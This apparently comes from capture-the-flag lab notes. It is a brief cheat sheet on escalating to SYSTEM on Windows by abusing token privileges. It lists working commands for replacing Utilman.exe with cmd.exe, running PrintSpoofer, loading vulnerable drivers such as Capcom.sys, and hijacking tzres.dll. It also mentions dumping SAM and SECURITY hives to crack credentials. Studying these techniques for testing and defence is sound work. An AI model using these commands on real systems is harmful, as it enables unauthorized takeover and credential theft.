Exploitable privileges

SeBackup

Allows an user to read of ownership or permissions. This permission can be exploited to dump the SAM and SECURITY files and crack them to obtain plaintext credentials

SeTakeOwnership / SeRestore

Allows an user to gain ownership over any any element of the system including files and registry keys. This privilege allows an attacker to replace any executable running as a SYSTEM service with a malicious program to execute commands as an elevated user.

Utilman.exe exploit

takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
copy cmd.exe C:\Windows\System32\Utilman.exe

After locking and unlocking the account we will be greeted with a SYSTEM shell.

SeImpersonate / SeAssignPrimaryToken

Allows an user to impersonate and spawn processes under the context of other users on the machine. Can be exploited with Juicy Potato and similar techniques.

printSpooler.exe exploit

Download the appropriate exe file from here. Then run the following command to obtain a SYSTEM shell

PrintSpoofer.exe -i -c cmd

SeLoadDriver

Allows to load arbitrary drivers. Can be exploited by loading drivers with known vulnerabilities. in order to load a service in memory download and compile the following exploit and invoke it as follows

.\EOPLOADDRIVER.exe System\CurrentControlSet\MyService <path to sys file>

Exploitable drivers

• szkg64.sys
• Capcom.sys

SeManageVolume

Allows to manage permissions on volumes. Can be exploited to change ownership of all files under C:\ to the current user. The following steps allow to run a payload under SYSTEM user

1. Download compile and execute the PoC here
2. Write a custom DLL to C:\Windows\System32\wbem\tzres.dll

3. Trigger the payload under SYSTEM by executing systeminfo